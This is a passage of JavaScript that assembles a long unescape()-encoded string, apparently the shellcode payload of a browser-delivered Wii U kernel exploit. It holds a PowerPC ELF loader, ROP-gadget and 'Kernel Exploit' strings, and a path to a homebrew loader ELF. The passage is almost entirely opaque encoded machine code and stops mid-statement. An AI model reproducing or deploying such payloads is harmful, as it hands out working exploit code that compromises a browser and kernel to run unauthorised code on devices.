unescape("%u0049%u4d5f%u4f70%u656e%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u004f%u5353%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4f53"); + str += unescape("%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u4f53%u5363%u7265%u656e%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565"); + str += unescape("%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5344%u7269%u7665%u7220%u4b65%u726e%u656c%u2045%u7870%u6c6f%u6974%u005f%u4578%u6974%u004f%u5343%u7265%u6174%u6554%u6872%u6561%u6400%u4f53%u5265%u7375"); + str += unescape("%u6d65%u5468%u7265%u6164%u004f%u5349%u7354%u6872%u6561%u6454%u6572%u6d69%u6e61%u7465%u6400%u4761%u6467%u6574%u206e%u6f74%u2066%u6f75%u6e64%u2100%u6778%u322e%u7270%u6c00%u5f5f%u5050%u4345%u7869"); + str += unescape("%u7400%u4443%u496e%u7661%u6c69%u6461%u7465%u5261%u6e67%u6500%u4443%u546f%u7563%u6852%u616e%u6765%u004f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963%u616c%u004f%u5345%u7869%u7454%u6872"); + str += unescape("%u6561%u6400%u4758%u3253%u6574%u5365%u6d61%u7068%u6f72%u6500%u4758%u3246%u6c75%u7368%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174%u6520%u7468%u7265%u6164%u0000%u0000%u7f45%u4c46%u0102%u0100"); + str += unescape("%u0000%u0000%u0000%u0000%u0002%u0014%u0000%u0001%u0080%u04d0%u0000%u0034%u0000%u0bd0%u0000%u0000%u0034%u0020%u0001%u0028%u0004%u0003%u0000%u0001%u0000%u0054%u0080%u0000%u0080%u0000%u0000%u0b64"); + str += unescape("%u0000%u0b64%u0000%u0005%u0000%u0004%u7ca8%u02a6%u7ca9%u03a6%u7ce8%u03a6%u7cb0%u8aa6%u7cba%u8ba6%u7cb1%u8aa6%u7cbb%u8ba6%u80a3%u0034%u80c3%u0038%u80e3%u003c%u8103%u0040%u8123%u0044%u8143%u0048"); + str += unescape("%u8163%u004c%u8063%u0050%u4c00%u012c%u7ca7%u01a4%u4e80%u0420%u7c08%u02a6%u9421%uffe0%ubf61%u000c%u7c9f%u2378%u9001%u0024%u83c4%u001c%u2f9e%u0000%u40be%u000c%u3860%u0000%u4800%u0180%ua124%u002c"); + str += unescape("%u2f89%u0000%u41be%ufff0%ua124%u002a%u2f89%u0020%u409e%uffe4%u7c7d%u1b78%u7fc4%uf214%u3b80%u0000%ua13f%u002c%u7f9c%u4800%u409c%u0084%u813e%u0000%u2f89%u0001%u40be%u006c%u80be%u0010%u813e%u0014"); + str += unescape("%u7f85%u4840%u41bd%uffb0%u2f85%u0000%u41be%u0054%u837e%u000c%u813d%u0008%u809e%u0004%u7f63%udb78%u7d29%u03a6%u7c9f%u2214%u4e80%u0421%u813d%u0014%u7f63%udb78%u809e%u0010%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u813e%u0018%u712a%u0001%u41a2%u0018%u813d%u0018%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001%u3bde%u0020%u4bff%uff78%u837f%u0020%u3b80%u0000%u7f7f%uda14%u7f7e%udb78%ua13f%u0030"); + str += unescape("%u7f9c%u4800%u409c%u00b0%ua15f%u0032%u813e%u0000%u1d4a%u0028%u7d5b%u5214%u814a%u0010%u7d49%u5214%u7d3f%u5214%u7d5f%u50ae%u2f8a%u002e%u40be%u007c%u8949%u0001%u2b8a%u0062%u40be%u0018%u8949%u0002"); + str += unescape("%u2f8a%u0073%u40be%u0064%u8929%u0003%u4800%u0028%u2b8a%u0073%u40be%u0054%u8949%u0002%u2f8a%u0062%u40be%u0048%u8949%u0003%u2f8a%u0073%u40be%u003c%u8929%u0004%u2f89%u0073%u40be%u0030%u813d%u000c"); + str += unescape("%u3880%u0000%u807e%u000c%u7d29%u03a6%u80be%u0014%u4e80%u0421%u813d%u0014%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001%u3bde%u0028%u4bff%uff4c%u807f%u0018%u3961%u0020%u4800%u0734"); + str += unescape("%u7c08%u02a6%u9421%ufbe8%u3920%uffff%u9121%u03ec%u9001%u041c%ubf21%u03fc%u7c7f%u1b78%u8123%u0000%u7c99%u2378%u3860%u1700%u3880%u0004%u7d29%u03a6%u7cba%u2b78%u4e80%u0421%u7c7e%u1b79%u4182%u0294"); + str += unescape("%u813f%u0000%u3860%u0a80%u3880%u0004%u7d29%u03a6%u4e80%u0421%u7c7d%u1b79%u40a2%u0018%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u4800%u0264%u813f%u0024%u7d29%u03a6%u4e80%u0421%u813f%u0030"); + str += unescape("%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u813f%u0028%u3880%u0000%u38a0%uffff%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u813f%u0034%u7fc3%uf378%u7fa4%ueb78%u38a0%u0000%u38c1%u0008%u38e0%uffff%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u2f83%u0000%u419e%u0014%u3c60%u0080%u813f%u0010%u3863%u0948%u4800%u003c%u813f%u0038%u7fc3%uf378%u7fa4%ueb78%u38a1%u0008%u38c1%u0308%u38e0%u0080%u3900%uffff%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u2f83%u0000%u419e%u001c%u3c60%u0080%u813f%u0010%u3863%u0961%u7d29%u03a6%u4e80%u0421%u4800%u0178%u813f%u0040%u3ca0%u0080%u3cc0%u0080%u7fc3%uf378%u7fa4%ueb78%u38a5%u0972%u38c6%u09aa%u38e1%u03ec"); + str += unescape("%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2c03%u0000%u4182%u0024%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0124%u813f%u0044%u7fa4%ueb78%u9061%u0398"); + str += unescape("%u38c1%u0388%u7fc3%uf378%u80a1%u03ec%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u8061%u0398%u2f83%u0000%u41be%u0024%u813f%u0000%u3863%u003f%u5463%u0032%u3880%u0040%u7d29%u03a6%u4e80%u0421%u7c7b%u1b79"); + str += unescape("%u40a2%u001c%u813f%u0010%u3c60%u0080%u3863%u09ac%u3b60%u0000%u7d29%u03a6%u4e80%u0421%u3b80%u0000%u80e1%u0398%u7f9c%u3840%u409c%u0038%u817f%u0048%u7fc3%uf378%u7fa4%ueb78%u7cbb%ue214%u38c0%u0001"); + str += unescape("%u7cfc%u3850%u8101%u03ec%u3920%u0000%u3940%uffff%u7d69%u03a6%u4e80%u0421%u2c03%u0000%u41a1%u0028%u8121%u0398%u7f9c%u4800%u419e%u0024%u813f%u0004%u7f63%udb78%u3b80%u0000%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u4800%u0018%u7f9c%u1a14%u4bff%uff98%u9379%u0000%u939a%u0000%u3b80%u0001%u813f%u004c%u7fa4%ueb78%u80a1%u03ec%u7fc3%uf378%u7d29%u03a6%u38c0%uffff%u4e80%u0421%u813f%u003c%u7fc3%uf378%u7fa4%ueb78"); + str += unescape("%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0008%u3b80%u0000%u813f%u002c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813f%u0004%u7fa3%ueb78"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u7f83%ue378%u4800%u0008%u3860%u0000%u3961%u0418%u4800%u0450%u7c08%u02a6%u9421%uff70%u3d20%u0080%u6129%u1500%ubec1%u0068%u9001%u0094%u7c79%u1b78%u3c60%u0080%u7c9a%u2378"); + str += unescape("%u83c9%u0000%u3881%u0064%u3863%u09cc%u83e9%u0004%u7fc9%u03a6%u3fa0%u0080%u3f80%udead%u3ee0%u0080%u3ec0%u0080%u63bd%u1300%u639c%uc0de%u3b60%u0000%u4e80%u0421%u3920%u0000%u3ca0%u0080%u7fe9%u03a6"); + str += unescape("%u9121%u0060%u3880%u0001%u38a5%u09d5%u38c1%u0060%u8061%u0064%u3af7%u0b28%u3ad6%u0aeb%u4e80%u0421%u8121%u0060%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0001%u38a5%u09ef%u38c1%u0060%u9121%u0008"); + str += unescape("%u8061%u0064%u4e80%u0421%u8121%u0060%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0000%u38a5%u0a04%u38c1%u0010%u9121%u000c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a0b"); + str += unescape("%u38c1%u0014%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a12%u38c1%u0018%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a1a%u38c1%u001c%u8061%u0064"); + str += unescape("%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a27%u38c1%u0020%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a39%u38c1%u0024%u8061%u0064%u4e80%u0421%u3ca0%u0080"); + str += unescape("%u7fe9%u03a6%u3880%u0000%u38a5%u0a47%u38c1%u0028%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a4c%u38c1%u002c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000"); + str += unescape("%u38a5%u0a53%u38c1%u0030%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a61%u38c1%u0034%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a6d%u38c1%u0038"); + str += unescape("%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a7c%u38c1%u003c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a8d%u38c1%u0040%u8061%u0064%u4e80%u0421"); + str += unescape("%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a95%u38c1%u0044%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a9f%u38c1%u0048%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6"); + str += unescape("%u3880%u0000%u38a5%u0aaa%u38c1%u004c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0ab8%u38c1%u0050%u8061%u0064%u4e80%u0421%u3ca0%u0080%u38a5%u0ac3%u38c1%u0054%u7fe9%u03a6"); + str += unescape("%u3880%u0000%u8061%u0064%u4e80%u0421%u3c60%u0080%u7fc9%u03a6%u3881%u005c%u3863%u0acf%u3fc0%u0080%u63de%u1304%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u8061%u005c%u3880%u0000%u38a5%u0ada%u38c1%u0058"); + str += unescape("%u3fe0%u0080%u63ff%u1400%u4e80%u0421%u813d%u0000%u7f89%ue000%u419e%u0068%u813e%u0000%u2f89%u0000%u41be%u005c%u8121%u0008%u3880%u0004%u807e%u0000%u7d29%u03a6%u4e80%u0421%u7c78%u1b79%u4182%u0038"); + str += unescape("%u8121%u0010%u809d%u0000%u7d29%u03a6%u80be%u0000%u4e80%u0421%u3861%u0008%u7f04%uc378%u4bff%uf839%u8121%u000c%u907f%u0000%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u939d%u0000%u937e%u0000%u813f%u0000"); + str += unescape("%u7f89%ue000%u419e%u0010%u813f%u0000%u2f89%u0000%u409e%u0068%u3881%u0060%u3861%u0008%u38a1%u005c%u9361%u0060%u9361%u005c%u4bff%uf999%u8081%u0060%u7ec3%ub378%u2f84%u0000%u419e%u0030%u3861%u0008"); + str += unescape("%u4bff%uf7d5%u8121%u000c%u907f%u0000%u7d29%u03a6%u8061%u0060%u4e80%u0421%u813f%u0000%u2f89%u0000%u409e%uff2c%u7ee3%ubb78%u8121%u0018%u7d29%u03a6%u4e80%u0421%u4bff%uff18%u3d20%u0080%u7f44%ud378"); + str += unescape("%u6129%u1400%u7f23%ucb78%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3d20%u0080%u6129%u1500%u7f23%ucb78%u8129%u0008%u7f44%ud378%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3961%u0090%u4800%u0024%u81cb%uffb8"); + str += unescape("%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8"); + str += unescape("%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78%u4e80%u0020%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u2066%u6169%u6c65%u642e%u0053%u4420%u6d6f%u756e%u7420%u6661%u696c%u6564%u2e00%u2f76"); + str += unescape("%u6f6c%u2f65%u7874%u6572%u6e61%u6c30%u312f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u7200%u4e6f%u7420%u656e%u6f75"); + str += unescape("%u6768%u206d%u656d%u6f72%u7920%u666f%u7220%u454c%u4620%u6669%u6c65%u2e00%u636f%u7265%u696e%u6974%u004d%u454d%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672"); + str += unescape("%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u006d%u656d%u7365%u7400%u4f53%u4661%u7461%u6c00%u4443%u466c%u7573%u6852%u616e%u6765%u0049%u4349%u6e76%u616c%u6964%u6174%u6552"); + str += unescape("%u616e%u6765%u005f%u5f6f%u735f%u736e%u7072%u696e%u7466%u0065%u7869%u7400%u4653%u496e%u6974%u0046%u5341%u6464%u436c%u6965%u6e74%u4578%u0046%u5344%u656c%u436c%u6965%u6e74%u0046%u5349%u6e69%u7443"); + str += unescape("%u6d64%u426c%u6f63%u6b00%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u0046%u534d%u6f75%u6e74%u0046%u5355%u6e6d%u6f75%u6e74%u0046%u534f%u7065%u6e46%u696c%u6500%u4653%u4765%u7453%u7461%u7446"); + str += unescape("%u696c%u6500%u4653%u5265%u6164%u4669%u6c65%u0046%u5343%u6c6f%u7365%u4669%u6c65%u0073%u7973%u6170%u702e%u7270%u6c00%u5359%u5352%u656c%u6175%u6e63%u6854%u6974%u6c65%u0043%u6f75%u6c64%u206e%u6f74"); + str += unescape("%u206c%u6f61%u6420%u6669%u6c65%u202f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u4661%u696c%u6564%u2074%u6f20%u6c6f"); + str += unescape("%u6164%u2045%u4c46%u202f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u002e%u7368%u7374%u7274%u6162%u002e%u7465%u7874"); + str += unescape("%u002e%u6461%u7461%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u000b%u0000%u0001%u0000%u0006%u0080%u0000"); + str += unescape("%u0000%u0054%u0000%u0948%u0000%u0000%u0000%u0000%u0000%u0004%u0000%u0000%u0000%u0011%u0000%u0001%u0000%u0032%u0080%u0948%u0000%u099c%u0000%u021c%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0001"); + str += unescape("%u0000%u0001%u0000%u0003%u0000%u0000%u0000%u0000%u0000%u0bb8%u0000%u0017%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e47%u6574"); + str += unescape("%u4275%u6666%u6572%u5369%u7a65%u4578%u004f%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e46"); + str += unescape("%u6c69%u7042%u7566%u6665%u7273%u4578%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u0073%u7973%u6170%u702e%u7270%u6c00%u5f53%u5953%u4c61%u756e%u6368%u4d69%u6953%u7475%u6469%u6f00%u496e"); + str += unescape("%u7661%u6c69%u6420%u656c%u6620%u6669%u6c65%u0063%u6f72%u6569%u6e69%u742e%u7270%u6c00%u6d65%u6d73%u6574%u004d%u454d%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d"); + str += unescape("%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u004f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963%u616c%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4943%u496e"); + str += unescape("%u7661%u6c69%u6461%u7465%u5261%u6e67%u6500%u5f45%u7869%u7400%u494d%u5f4f%u7065%u6e00%u494d%u5f43%u6c6f%u7365%u0049%u4d5f%u5365%u7444%u6576%u6963%u6553%u7461%u7465%u004f%u5341%u6c6c%u6f63%u4672"); + str += unescape("%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554%u6f53%u7973%u7465%u6d00%u4e6f%u7420%u656e%u6f75%u6768%u206d%u656d%u6f72%u792e%u2045%u7869%u7420%u616e%u6420%u7265%u2d65%u6e74%u6572%u2062%u726f"); + str += unescape("%u7773%u6572%u2e00%u4f53%u4372%u6561%u7465%u5468%u7265%u6164%u004f%u5352%u6573%u756d%u6554%u6872%u6561%u6400%u4f53%u4973%u5468%u7265%u6164%u5465%u726d%u696e%u6174%u6564%u0054%u6872%u6561%u6420"); + str += unescape("%u6d65%u6d6f%u7279%u2061%u6c6c%u6f63%u6174%u696f%u6e20%u6661%u696c%u6564%u2e20%u4578%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u0046%u6169%u6c65%u6420%u746f%u2063"); + str += unescape("%u7265%u6174%u6520%u7468%u7265%u6164%u2e20%u4578%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u002e%u7465%u7874%u002e%u726f%u6461%u7461%u002e%u6461%u7461%u002e%u6273"); + str += unescape("%u7300%u0000%u0000%u003c%u0000%u0000%u017a%u5200%u047c%u4101%u1b0c%u0100%u0d0b%u1141%u7f8e%u128f%u1190%u1091%u0f92%u0e93%u0d94%u0c95%u0b96%u0a97%u0998%u0899%u079a%u069b%u059c%u049d%u039e%u029f"); + str += unescape("%u0100%u0000%u0000%u0038%u0000%u0044%uffff%uee30%u0000%u0058%u0041%uce41%ucf41%ud041%ud141%ud241%ud341%ud441%ud541%ud641%ud741%ud841%ud941%uda41%udb41%udc41%udd41%ude42%udf41%u0641%u410d%u0100"); + str += unescape("%u0000%u2d80%u0000%u2d84%u0000%u2d88%u0000%u2d8c%u0000%u2d90%u0000%u2d94%u0000%u2d98%u0000%u2d9c%u0000%u2da0%u0000%u2da4%u0000%u2da8%u0000%u2dac%u0000%u2db0%u0000%u2db4%u0000%u2db8%u0000%u2dbc"); + str += unescape("%u0000%u2dc0%u0000%u2dc4%u0000%u2dc8%u0000%u2dcc%u0000%u2dd0%u0000%u2dd4%u0000%u2dd8%u0000%u2ddc%u0000%u2de0%u0000%u2de4%u0000%u2de8%u0000%u2dec%u0000%u2df0%u0000%u2df4%u0000%u2df8%u0000%u2dfc"); + str += unescape("%u0000%u2e00%u0000%u2e04%u0000%u2e08%u0000%u2e0c%u0000%u2e10%u0000%u2e14%u0000%u2e18%u0000%u2e1c%u0000%u2e20%u0000%u2e24%u0000%u2e28%u0000%u2e2c%u0000%u2e30%u0000%u2e34%u0000%u2e38%u0000%u2e3c"); + str += unescape("%u0000%u2e40%u0000%u2e44%u0000%u2e48%u0000%u2e4c%u0000%u2e50%u0000%u2e54%u0000%u2e58%u0000%u2e5c%u0000%u2e60%u0000%u2e64%u0000%u2e68%u0000%u2e6c%u0000%u2e70%u0000%u2e74%u0000%u2e78%u0000%u2e7c"); + str += unescape("%u0000%u2e80%u0000%u2e84%u0000%u2e88%u0000%u2e8c%u0000%u2e90%u0000%u2e94%u0000%u2e98%u0000%u2e9c%u0000%u2ea0%u0000%u2ea4%u0000%u2ea8%u0000%u2eac%u0000%u2eb0%u0000%u2eb4%u0000%u2eb8%u0000%u2ebc"); + str += unescape("%u0000%u2ec0%u0000%u2ec4%u0000%u2ec8%u0000%u2ecc%u0000%u2ed0%u0000%u2ed4%u0000%u2ed8%u0000%u2edc%u0000%u2ee0%u0000%u2ee4%u0000%u2ee8%u0000%u2eec%u0000%u2ef0%u0000%u2ef4%u0000%u2ef8%u0000%u2efc"); + str += unescape("%u0000%u2f00%u0000%u2f04%u0000%u2f08%u0000%u2f0c%u0000%u2f10%u0000%u2f14%u0000%u2f18%u0000%u2f1c%u0000%u2f20%u0000%u2f24%u0000%u2f28%u0000%u2f2c%u0000%u2f30%u0000%u2f34%u0000%u2f38%u0000%u2f3c"); + str += unescape("%u0000%u2f40%u0000%u2f44%u0000%u2f48%u0000%u2f4c%u0000%u2f50%u0000%u2f54%u0000%u2f58%u0000%u2f5c%u0000%u2f60%u0000%u2f64%u0000%u2f68%u0000%u2f6c%u0000%u2f70%u0000%u2f74%u0000%u2f78%u0000%u2f7c"); + str += unescape("%u0000%u2f80%u0000%u2f84%u0000%u2f88%u0000%u2f8c%u0000%u2f90%u0000%u2f94%u0000%u2f98%u0000%u2f9c%u0000%u2fa0%u0000%u2fa4%u0000%u2fa8%u0000%u2fac%u0000%u2fb0%u0000%u2fb4%u0000%u2fb8%u0000%u2fbc"); + str += unescape("%u0000%u2fc0%u0000%u2fc4%u0000%u2fc8%u0000%u2fcc%u0000%u2fd0%u0000%u2fd4%u0000%u2fd8%u0000%u2fdc%u0000%u2fe0%u0000%u2fe4%u0000%u2fe8%u0000%u2fec%u0000%u2ff0%u0000%u2ff4%u0000%u2ff8%u0000%u2ffc"); + str += unescape("%u0000%u3000%u0000%u3004%u0000%u3008%u0000%u300c%u0000%u3010%u0000%u3014%u0000%u3018%u0000%u301c%u0000%u3020%u0000%u3024%u0000%u3028%u0000%u302c%u0000%u3030%u0000%u3034%u0000%u3038%u0000%u303c"); + str += unescape("%u0000%u3040%u0000%u3044%u0000%u3048%u0000%u304c%u0000%u3050%u0000%u3054%u0000%u3058%u0000%u305c%u0000%u3060%u0000%u3064%u0000%u3068%u0000%u306c%u0000%u3070%u0000%u3074%u0000%u3078%u0000%u307c"); + str += unescape("%u0000%u3080%u0000%u3084%u0000%u3088%u0000%u308c%u0000%u3090%u0000%u3094%u0000%u3098%u0000%u309c%u0000%u30a0%u0000%u30a4%u0000%u30a8%u0000%u30ac%u0000%u30b0%u0000%u30b4%u0000%u30b8%u0000%u30bc"); + str += unescape("%u0000%u30c0%u0000%u30c4%u0000%u30c8%u0000%u30cc%u0000%u30d0%u0000%u30d4%u0000%u30d8%u0000%u30dc%u0000%u30e0%u0000%u30e4%u0000%u30e8%u0000%u30ec%u0000%u30f0%u0000%u30f4%u0000%u30f8%u0000%u30fc"); + str += unescape("%u0000%u3100%u0000%u3104%u0000%u3108%u0000%u310c%u0000%u3110%u0000%u3114%u0000%u3118%u0000%u311c%u0000%u3120%u0000%u3124%u0000%u3128%u0000%u312c%u0000%u3130%u0000%u3134%u0000%u3138%u0000%u313c"); + str += unescape("%u0000%u3140%u0000%u3144%u0000%u3148%u0000%u314c%u0000%u3150%u0000%u3154%u0000%u3158%u0000%u315c%u0000%u3160%u0000%u3164%u0000%u3168%u0000%u316c%u0000%u3170%u0000%u3174%u0000%u3178%u0000%u317c"); + str += unescape("%u0000%u3180%u0000%u3184%u0000%u3188%u0000%u318c%u0000%u3190%u0000%u3194%u0000%u3198%u0000%u319c%u0000%u31a0%u0000%u31a4%u0000%u31a8%u0000%u31ac%u0000%u31b0%u0000%u31b4%u0000%u31b8%u0000%u31bc"); + str += unescape("%u0000%u31c0%u0000%u31c4%u0000%u31c8%u0000%u31cc%u0000%u31d0%u0000%u31d4%u0000%u31d8%u0000%u31dc%u0000%u31e0%u0000%u31e4%u0000%u31e8%u0000%u31ec%u0000%u31f0%u0000%u31f4%u0000%u31f8%u0000%u31fc"); + str += unescape("%u0000%u3200%u0000%u3204%u0000%u3208%u0000%u320c%u0000%u3210%u0000%u3214%u0000%u3218%u0000%u321c%u0000%u3220%u0000%u3224%u0000%u3228%u0000%u322c%u0000%u3230%u0000%u3234%u0000%u3238%u0000%u323c"); + str += unescape("%u0000%u3240%u0000%u3244%u0000%u3248%u0000%u324c%u0000%u3250%u0000%u3254%u0000%u3258%u0000%u325c%u0000%u3260%u0000%u3264%u0000%u3268%u0000%u326c%u0000%u3270%u0000%u3274%u0000%u3278%u0000%u327c"); + str += unescape("%u0000%u3280%u0000%u3284%u0000%u3288%u0000%u328c%u0000%u3290%u0000%u3294%u0000%u3298%u0000%u329c%u0000%u32a0%u0000%u32a4%u0000%u32a8%u0000%u32ac%u0000%u32b0%u0000%u32b4%u0000%u32b8%u0000%u32bc"); + str += unescape("%u0000%u32c0%u0000%u32c4%u0000%u32c8%u0000%u32cc%u0000%u32d0%u0000%u32d4%u0000%u32d8%u0000%u32dc%u0000%u32e0%u0000%u32e4%u0000%u32e8%u0000%u32ec%u0000%u32f0%u0000%u32f4%u0000%u32f8%u0000%u32fc"); + str += unescape("%u0000%u3300%u0000%u3304%u0000%u3308%u0000%u330c%u0000%u3310%u0000%u3314%u0000%u3318%u0000%u331c%u0000%u3320%u0000%u3324%u0000%u3328%u0000%u332c%u0000%u3330%u0000%u3334%u0000%u3338%u0000%u333c"); + str += unescape("%u0000%u3340%u0000%u3344%u0000%u3348%u0000%u334c%u0000%u3350%u0000%u3354%u0000%u3358%u0000%u335c%u0000%u3360%u0000%u3364%u0000%u3368%u0000%u336c%u0000%u3370%u0000%u3374%u0000%u3378%u0000%u337c"); + str += unescape("%u0000%u3380%u0000%u3384%u0000%u3388%u0000%u338c%u0000%u3390%u0000%u3394%u0000%u3398%u0000%u339c%u0000%u33a0%u0000%u33a4%u0000%u33a8%u0000%u33ac%u0000%u33b0%u0000%u33b4%u0000%u33b8%u0000%u33bc"); + str += unescape("%u0000%u33c0%u0000%u33c4%u0000%u33c8%u0000%u33cc%u0000%u33d0%u0000%u33d4%u0000%u33d8%u0000%u33dc%u0000%u33e0%u0000%u33e4%u0000%u33e8%u0000%u33ec%u0000%u33f0%u0000%u33f4%u0000%u33f8%u0000%u33fc"); + str += unescape("%u0000%u3400%u0000%u3404%u0000%u3408%u0000%u340c%u0000%u3410%u0000%u3414%u0000%u3418%u0000%u341c%u0000%u3420%u0000%u3424%u0000%u3428%u0000%u342c%u0000%u3430%u0000%u3434%u0000%u3438%u0000%u343c"); + str += unescape("%u0000%u3440%u0000%u3444%u0000%u3448%u0000%u344c%u0000%u3450%u0000%u3454%u0000%u3458%u0000%u345c%u0000%u3460%u0000%u3464%u0000%u3468%u0000%u346c%u0000%u3470%u0000%u3474%u0000%u3478%u0000%u347c"); + str += unescape("%u0000%u3480%u0000%u3484%u0000%u3488%u0000%u348c%u0000%u3490%u0000%u3494%u0000%u3498%u0000%u349c%u0000%u34a0%u0000%u34a4%u0000%u34a8%u0000%u34ac%u0000%u34b0%u0000%u34b4%u0000%u34b8%u0000%u34bc"); + str += unescape("%u0000%u34c0%u0000%u34c4%u0000%u34c8%u0000%u34cc%u0000%u34d0%u0000%u34d4%u0000%u34d8%u0000%u34dc%u0000%u34e0%u0000%u34e4%u0000%u34e8%u0000%u34ec%u0000%u34f0%u0000%u34f4%u0000%u34f8%u0000%u34fc"); + str += unescape("%u0000%u3500%u0000%u3504%u0000%u3508%u0000%u350c%u0000%u3510%u0000%u3514%u0000%u3518%u0000%u351c%u0000%u3520%u0000%u3524%u0000%u3528%u0000%u352c%u0000%u3530%u0000%u3534%u0000%u3538%u0000%u353c"); str += unescape("%u0000%u3540%u0000%u3544%u0000%u3548%u0000%u354c%u0000%u3550%u0000%u3554%u0000%u3558%u0000%u355c%u0000%u3560%u0000%u3564%u0000%u3568%u0000%u356c%u0000%u3570%u0000%u3574%u0000%u3578%u0000%u357c"); str += unescape("%u0000%u3580%u0000%u3584%u0000%u3588%u0000%u358c%u0000%u3590%u0000%u3594%u0000%u3598%u0000%u359c%u0000%u35a0%u0000%u35a4%u0000%u35a8%u0000%u35ac%u0000%u35b0%u0000%u35b4%u0000%u35b8%u0000%u35bc"); str += 